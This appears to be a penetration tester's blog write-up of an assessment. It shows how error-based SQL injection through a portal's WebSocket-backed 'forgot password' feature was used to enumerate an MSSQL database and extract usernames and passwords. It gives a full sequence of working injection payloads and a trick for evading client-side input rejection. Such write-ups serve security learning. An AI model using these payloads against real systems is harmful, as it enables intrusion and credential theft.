4 min read

Gaining access through error-based SQLi using WebSockets


In the previous Pwning the portal blog post, we extracted the source code of a corporate login portal through a misconfigured SVN repository and identified possible SQLis and XSS'. We used a basic SQLi payload to exploit a vulnerable login functionality, which resulted in us exfiltrating the whole portal's database which of course contained user credentials. In this assessment, we encounter a different kind of SQLi, the error-based SQLi, on a different portal that utilizes WebSockets.


Although the exploitation of a web application that utilizes WebSockets does not differ from the exploitation of a web application that uses standard HTTP, it does no harm to mention this technology.

WebSockets is a technology that uses the protocol ws://. It realizes a TCP/IP channel between the server and the client that allows real-time, bidirectional communication between the two parties. The client first sends an HTTP request to upgrade the connection to WebSockets and the server responds with a 101 HTTP status code, meaning that the connection is upgraded. After that, the two parties share a channel, which can be used to pass information between them in textual form.


WebSockets is asynchronous as each party can send any message at any given time without the need of a request to respond to, and stateful, unlike HTTP. WebSockets can also utilize the SSL through the wss:// protocol.

Reconnaissance and evading error detection

As usual, the portal has one input field for the username, one input field for the password and a "forgot password" functionality. Before even trying brute-forcing, which is the last resort in our methodology, we tried simple SQLi characters in the username input field to see how the app reacts to it. The app immediately rejects the input, before even hitting <enter>. This happens because the WebSockets connection that was opened, sent the username input field value automatically. The app was configured to reject any value with dangerous characters, e.g. a single quote, and reload the page.

After tweaking around a bit with the requests and the responses it was discovered that dropping the error response of the server would not reload the app and the username would remain as it is.

Using this evasion, we can move forward and test the portal against SQLi, XSS' or other injection techniques.

The "Forgot password" functionality

The login functionality didn't have any issues. The query in the backend was properly sanitizing user input and any attempt to inject SQL commands was unsuccessful. This wasn't the case for the "forgot password" functionality though.

Entering a username with an SQLi payload, e.g. a single quote, and invoking the "forgot password" function would result in an SQL error. Since this kind of SQLi is error-based, meaning that we get to see the desired output through the error the backend is returning, we need to cause an "insightful" error. After some trial and error, we were able to get the DBMS and its version with the payload ' and 1=convert(int,(select @@version))--

The payload we injected instructs the DB to convert the version of the DB (which is a string) to an integer. Since this cannot be done, the DB is kind enough to let us know what we can't convert to an integer.

Resources and exploitation

After looking for additional blind SQLi resources, in order to win time, what appeared to be a valuable one was this article. It is important to note that this error-based SQLi could only return one value at each error message.

The payload

' and 1=convert(int,(select top 1 table_name from information_schema.tables))--

gets the top table_name from the database. Similarly,

' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('first_table_name')))--

retrieves the second top table_name and

' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('first_table_name, second_table_name')))--

retrieves the third top table_name etc. The payload

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='the_discovered_table_name'))--

retrieves the top column of table_name.

But to exfiltrate the whole database manually like this would take us days. Also, along with the pentesting time constraints we decided to go after the most valuable part of the database: user credentials. The database was extensive so we couldn't find the User table by using the type of payloads mentioned above. We had to reverse the search: instead of going after the columns of the tables we'd discover, we went after the tables that contained specific columns such as Password and/or Username. After some googling and researching, the payload was created:

' and 1=convert(int,(select top 1 tables.name AS TableName from sys.columns JOIN sys.tables ON sys.columns.object_id = tables.object_id where sys.columns.name LIKE '%assword%')))--

This payload finds the first table with a column that is named either Password or Passwords or password or passwords. The same payload was used with %sername% instead of %assword%. Both results yielded the simple-looking table Users.

To get the first username, the simple payload

' and 1=convert(int,(select top 1 UserName FROM Users ORDER BY UserName))--

was used, and to retrieve its password

' and 1=convert(int,(select top 1 Password FROM Users WHERE UserName='username_found' ORDER BY UserName))--

And voila!

Similar to the first payloads mentioned, more credentials can be found by appending the where UserName not in ('username_found') at the end of the username extraction payload.